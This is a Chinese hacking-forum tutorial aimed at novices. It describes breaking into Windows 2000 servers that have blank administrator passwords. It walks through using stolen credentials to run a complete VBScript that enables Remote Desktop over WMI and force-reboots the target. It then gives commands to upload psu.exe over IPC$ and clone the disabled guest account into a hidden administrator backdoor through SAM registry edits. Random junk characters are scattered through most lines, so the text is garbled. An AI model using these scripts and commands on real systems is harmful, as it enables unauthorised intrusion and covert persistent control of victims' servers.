|
一次简单的3389入侵过程 4 A- ^' D2 m1 z2 ?
原创:caozhe(草哲) " O0 N, |, d9 |$ i4 q0 t; b U0 Y
来源:中国欲网技术论坛--草哲
3 {* \$ H3 f6 c' j. \: V1 g
`$ v+ p8 b+ f6 m! t; @, X1 z- [我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!
* s j5 i) }! ?- Z u2 k2 P4 y- |
于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!% e4 A7 M# F! p% Y, y
要入侵,我建议你在win2000环境下来*作!% E' R/ R* y4 o9 L& T
r& _) R, H1 M0 H: H1 l# ?. K; x
首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!
1 {: ^! `. `6 b$ T扫描的X-Scan V2.3、WINNTAutoAttack、流光!
& U( A7 }& @* `6 gX-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用!
. w. U* H& W5 _- |" _远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe). B; z; \: S' }0 V) h9 p
克隆帐户用个psu就可以了~!0 P. m; ?- q+ ~6 `" q$ ]
5 ?4 _" X8 _' X8 h
OK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空
. V) y6 k: e. c运行CMD(2000下的DOS),我们给它开终端!+ I+ V* B* w0 O2 K2 }9 Q7 |; R
命令如下!
! y) }! Y. e5 ?0 a" x; t2 hcscript rots.vbe 120.0.0.1 administrator "" 3389 /fr! ^9 G5 P0 M) ^5 ^/ m6 v. R
上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)
" A: C$ J( n, m% @# `" }( O
! `2 X; A9 L4 u, Y因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!2 U- g6 H" g- R" y z3 Z" K/ r
4 [/ B% N Q; }+ J/ o一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t2 G: {! g5 N) [3 J6 b/ j1 U* y+ V/ K
安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛!# V/ u' V! t( c. ]9 i+ C
4 U I. U/ {( }4 ]6 O回到DOS下!我们建立IPC$连接!
( V' C* {- F6 S* Qnet use \\120.0.0.1\ipc$ "" /user:"administrator"
6 d* r+ `! F$ J. V8 v4 x4 `. G5 n7 u这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt\system32目录下!
/ J* V: h* L/ h* ]copy psu.exe \\120.0.0.1\admin$\system32& Y# H( k+ O$ u9 Z% j; u3 R! @0 @
上传完毕后,开始在肉鸡做后门帐户!看肉鸡!, W V( s3 ]& x7 J4 X
( H8 R( G! {% \$ \4 x
假设guest用户被禁用,我们就是要利用guest做后门帐户!# Y8 C. m; l3 c2 t G& d$ J
在该服务器运行CMD,在命令行下输入
) |# z8 V% }7 y; [+ w' H$ apsu -p regedit -i PID
/ A8 k! _. o, @) y3 T* @% @* y1 U
9 r+ ^$ j* x7 y# T# o" z1 ]8 j' Y这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!" e3 O( n- B s2 z
看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是54581 c6 I7 [; W% {5 g) h- h8 P9 c
那么,命令就是这样. d: p+ r( b, h7 f
psu -p regedit -i 54584 Y. [6 B5 D7 `
这样直接打开注册表,可以读取本地sam的信息。) E% F2 l' v+ _# C" d I; y: o
打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
0 f, O- n) u5 F9 l下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!( }5 J4 n$ C5 k1 q; C: s+ N
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
+ K! Y7 s# D2 f2 g查看administrator的类型,是if4,再看guest的是if5
7 K/ I9 Y0 s. n0 j, J. G好了,知道了类型后,打开9 s8 M* F# l) b/ U1 w
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
+ K. q' t4 U+ ]! |/ P这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开
( `. i' W2 p9 G" t2 @2 AHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
: c/ W0 O. S3 V3 ?6 D双击右侧的F,把刚复制的粘贴到里面!: }( k6 H! N% l0 H
% N6 s7 t4 y* l
做好了以后,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
$ R& {& P( _, j; N4 B和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest
1 y( w7 `; k$ n+ H; m1 L这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。8 C3 P/ T: K# f/ M M4 q
& C. E( B2 w" d0 i! C2 |打开CMD,在命令行下输入, \+ ^. s$ j }$ ~+ F L/ H* `
net user guest password& M1 ]' w, L* O8 F: P3 d
这条命令是给guest设置密码,后面的password就是密码
3 W* ?4 P' M. F. ^然后输入
B0 w2 m! B+ Q( h! V& jnet user guest /active:y# |3 @! E5 y; ]2 L' s( S L2 h
这命令是激活guest帐户,然后我们把他禁用$ ?/ o3 o+ v) [- J* i
net user guest /active:n
, ^4 N9 i" ^- G4 G6 P# P: u! b上面的三行命令必须在DOS下执行!% a& C1 Q b' R$ A, ^
, G9 J- _; `( t1 F) n( X' F2 J% H
OK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!2 Z) N: I0 D' x* a6 t8 y L' X
而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!/ k4 k6 `3 f' Y0 ~0 v+ I
3 s3 J$ ^4 V# N" W% s: _! p- g
注销一下,用guest登陆吧!+ M5 x; S4 X( J; ?3 x8 P
' S3 h6 t* G% {1 f打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!
# u9 n. \& c9 v. F如果还有地方不明白的话,可以问我,我知道的一定告诉大家!
( p+ A; c+ r7 Y. R {6 B5 P+ w- |. x
因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!/ x- a+ a: n x- p! h2 q
9 U S2 ^. j* u% ?
----------------------------------------------------------------------0 a( n; c$ Z7 E6 x% G! |* @
以下是开终端的脚本,把它存为*.vbe
9 Q* {* _2 h7 c. m1 Zon error resume next$ X- s2 u/ C/ F, b9 z
set outstreem=wscript.stdout
8 \; F4 S2 [& ~ ?7 x# `$ e- Wset instreem=wscript.stdin2 W- U9 X, {% f7 a& x: K
if (lcase(right(wscript.fullname,11))="wscript.exe") then
6 F3 |/ j5 d4 H. S3 D7 ~ set objShell=wscript.createObject("wscript.shell")4 i. J" [( r& ^# \" q& W: X
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)). ]2 g) f+ [, i6 L) Q6 W0 k
wscript.quit
& f: Y8 J8 c3 R' X, f5 bend if6 ^! S8 S9 { {
if wscript.arguments.count<3 then+ ]/ [' x6 q9 @; [" N9 G2 z
usage()2 e$ L$ c8 T% }* m, s0 Y
wscript.echo "Not enough parameters."+ x7 C3 W$ a6 l! [; i- ?) v
wscript.quit6 y5 d- V4 W& z Q: `8 @
end if
' V; S) z( W( n- J6 R) P
5 O7 x( N- C/ m+ l3 q' K0 y+ }8 }ipaddress=wscript.arguments(0)$ w: [6 B6 Z" N
username=wscript.arguments(1)5 j/ W. V) e# [, Z( b% m
password=wscript.arguments(2)
* M- \" q* k* t9 z* _. w L8 Oif wscript.arguments.count>3 then2 v; C9 g, _: y( p+ t8 a7 K
port=wscript.arguments(3)2 i- z% ^+ P7 o' F0 Q) _: ?4 K
else( A+ C+ ~4 I- n3 B4 S+ W
port=33897 A. t, F; x, o3 B
end if% F" _ |3 t# t+ I
if not isnumeric(port) or port<1 or port>65000 then+ D1 q- r; j$ ?6 p
wscript.echo "The number of port is error."7 W7 t- g2 U. r' P( ]: A
wscript.quit
4 p4 p- U# g- `end if8 ?: Y6 x1 w- n6 t2 ?- K
if wscript.arguments.count>4 then7 ^$ g4 n# i9 u3 d
reboot=wscript.arguments(4); g! f% e6 n9 o) F# W/ ?' o8 A+ h6 U E
else+ [! P) Z( B& W! A3 h
reboot=""
, u4 R. P# S f# P$ M8 ^9 Iend if
# \7 r) ~$ M2 z' t( y
% v8 r9 t1 h9 ^' }8 l2 H& {" Husage()
$ e. j+ _/ n+ p7 W4 `9 h; Ooutstreem.write "Conneting "&ipaddress&" ...."
: P1 S4 X" ~$ w9 Gset objlocator=createobject("wbemscripting.swbemlocator")
. U: @5 n9 @# a" z! _set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)0 R0 _. Y( p* a* \7 C
showerror(err.number)
1 D. A4 K; E# m! |% N0 C1 ~objswbemservices.security_.privileges.add 23,true
# r1 _1 B* i% I, U+ N; Nobjswbemservices.security_.privileges.add 18,true2 ?8 v; q% m q
' W% O) X1 p, [* K; [$ O/ h9 Joutstreem.write "Checking OS type...."
$ K: I n( X0 X+ V) B% fset colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")3 t) W5 U: v* E" G( I" X& R
for each objinstoscaption in colinstoscaption0 h, f/ N7 k& F# k; V
if instr(objinstoscaption.caption,"Server")>0 then
' w* H4 r+ O5 R wscript.echo "OK!"- P. \3 p; x+ U( K$ V
else
) j5 O6 i5 r, U7 h( N" K wscript.echo "OS type is "&objinstoscaption.caption0 C6 q, h3 V, w9 F& I9 |! D
outstreem.write "Do you want to cancel setup?[y/n]"9 [5 c5 R' O: R5 i1 g/ d$ ]
strcancel=instreem.readline
/ \5 X: K0 D% f& R6 O) Z5 U) k) { if lcase(strcancel)<>"n" then wscript.quit! ]5 w+ {6 q5 ` w0 Y+ Y) s
end if) R& B: ]; h5 ?- v; s
next
* W- S ~ n. C
9 {) S* R; ^4 t8 p% H+ ^. Coutstreem.write "Writing into registry ...."1 X% _: I3 n0 p) [. A
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")5 z. t* ]4 T0 G6 w; k/ B
HKLM=&h80000002; A: x4 k2 `& _$ W, s! v, J+ s
HKU=&h80000003
) M1 t3 J' b& k% S6 Ewith objinstreg! k3 p$ P2 P a) c
.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"8 S$ z. C5 j1 ]/ A/ C4 g
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",01 U* Z! D6 u- c/ [0 N Y F( X# Z. N
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
# X, V: @, J8 t.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1) Q% h% V& \% Y L* ?, H4 f
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",19 i3 K1 x4 h0 O& o5 m1 ?6 C2 K! }
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2- V* p1 @2 T, ^ D! P% r' s% x2 p
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
`- D8 E& I2 Q8 v, ~.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"9 Y% w% F& p& `5 q2 h
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port" N3 \& u$ M0 Y6 a4 \
end with0 u" |; ~! |3 a9 j4 M/ N. f( I
showerror(err.number); R9 K4 K& i3 ~9 p" t3 _7 @
$ U) k: {6 g2 Z/ l6 Y
rebt=lcase(reboot)6 p1 _3 P/ z( s: M! M, s
flag=0
# Y6 I. v) _7 J7 B+ A! {; ]) q: {4 yif rebt="/r" or rebt="-r" or rebt="\r" then flag=24 x8 Q- T! l4 e" ^* H
if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6$ O% L1 J# [, z3 r) Y# ~9 |
if flag<>0 then
9 [8 P5 |, O) v outstreem.write "Now, reboot target...."
8 F1 k1 J" k7 K+ c7 k3 ? v strwqlquery="select * from win32_operatingsystem where primary='true'". L, g! Z9 l, ^9 M, G7 I& i; s F: M, N
set colinstances=objswbemservices.execquery(strwqlquery)5 T# |2 g. [# ~, S i3 ~ s6 W
for each objinstance in colinstances
) v" u* N+ W3 f/ L4 D% u5 M# M objinstance.win32shutdown(flag)
; }1 ^0 D. J/ h next0 u, x) `0 a" u* W
showerror(err.number), r1 P, E W* a }8 g& g0 o4 }2 {' W
else5 C- U" l" Z* U: W; d9 Y* {; m" r
wscript.echo "You need to reboot target."&vbcrlf&"Then,"4 [: Y# P' P, h; Z
end if. Z* q% v a( H/ G$ N
wscript.echo "You can logon terminal services on "&port&" later. Good luck!", C5 ?: D: w2 ?- M" Y
) |7 Z. f5 h; r( A4 g n$ lfunction showerror(errornumber)6 e- ^. t/ ~3 ?: V# S$ ~! {% ]
if errornumber Then
2 A {; K \+ {3 Y wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
% A( p7 }( \* F. ~: P" @& \* X3 q if err.description <> "" then
_$ T) M( k* P( Z& u wscript.echo "Error description: "&err.description&"."
; f6 Q% N- M; F end if' {, y/ Q! D; X& ^% z
wscript.quit
0 A+ E8 j5 y& F5 @2 o1 m/ jelse
. F c3 x, U% n {5 A b# L0 |2 o wscript.echo "OK!"' i* d; O# u5 x7 Z
end if+ d W+ R, z5 D' b, n
end function
5 Z0 k7 x+ y' i& f& C! j2 i; Q0 D
# k! M9 y% x: l# x9 \" Pfunction usage()4 H s s, b, P9 z$ T( u! D
wscript.echo string(79,"*")
; N7 n( E1 N% y& Q5 e! nwscript.echo "ROTS v1.05"# p0 ]8 D* K: E6 g8 a
wscript.echo "Remote Open Terminal services Script, by 草哲"! [' A8 s4 a9 ~( c/ P
wscript.echo "Welcome to visite www.5458.net"" |" z: _0 [; g
wscript.echo "Usage:"
) D- \$ P' E5 ~+ v5 c- b0 z! E& n% Gwscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]", i1 [: L' x- p1 H- l6 B% y* A" S
wscript.echo "port: default number is 3389."( N. t, E$ o$ h' p
wscript.echo "/r: auto reboot target."
9 R( o3 L v) ?! ^" X J ?wscript.echo "/fr: auto force reboot target."4 a. j( |- P1 ^+ g4 r" ]! C3 I
wscript.echo string(79,"*")&vbcrlf
5 ]8 K: d4 M: u8 x" Rend function
0 X9 a' |5 u) E, a( D0 V* @; P0 p # ~1 p, W- E e% @( [
转自安全焦点 |
|